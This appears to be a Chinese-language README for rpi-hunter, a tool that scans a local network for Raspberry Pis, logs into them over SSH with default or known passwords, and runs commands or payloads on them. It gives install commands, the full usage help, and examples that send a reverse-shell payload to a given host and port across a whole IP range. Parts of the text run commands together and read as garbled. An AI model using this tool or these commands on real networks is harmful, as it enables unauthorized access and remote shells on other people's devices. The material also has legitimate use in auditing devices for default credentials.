
当局域网内有多个使用默认或已知凭据的 Raspberry Pi 时,rpi-hunter 可用于自动化向它们发送命令/payload。
sudo pip install -U argparse termcolor 和 sudo apt -y install arp-scan tshark sshpassgit clone https://github.com/BusesCanFly/rpi-huntercd ./rpi-hunterchmod +x rpi-hunter.pysudo pip install -U argparse termcolor && sudo apt -y install arp-scan tshark sshpass && git clone https://github.com/BusesCanFly/rpi-hunter && cd ./rpi-hunter && chmod +x rpi-hunter.py查看 NullByte 团队制作的这个超棒 视频 及其配套的 文章!
./rpi-hunter.py 命令将自动扫描整个本地网络,并在找到的任何树莓派上执行 whoami 命令usage: rpi-hunter.py [-h] [--list] [--no-scan] [-r IP_RANGE] [-f IP_LIST]
[-c CREDS] [--payload PAYLOAD] [-H HOST] [-P PORT]
[--safe] [-q]
optional arguments:
-h, --help show this help message and exit
--list List available payloads
--no-scan Disable ARP scanning
-r IP_RANGE IP range to scan
-f IP_LIST IP list to use (Default ./scan/RPI_list)
-u UNAME Username to use when ssh'ing
-c CREDS Password to use when ssh'ing
--payload PAYLOAD (Name of, or raw) Payload [ex. reverse_shell or 'whoami']
-H HOST (If using reverse_shell payload) Host for reverse shell
-P PORT (If using reverse_shell payload) Port for reverse shell
--safe Print sshpass command, but don't execute it
-q Don't print banner
运行 ./rpi-hunter.py --list 查看可用 payload。
Payload 可以通过 --list 显示的名称指定,也可以直接输入原始命令
--payload reverse_shell 或 --payload [你的 CLI 命令]使用示例:
./rpi-hunter.py -r 192.168.0.0/16 --payload reverse_shell -H 127.0.0.1 -P 1337
-H 和 -P 标志./rpi-hunter.py -c lamepassword --payload "ls -lah \~"
\ 转义特殊字符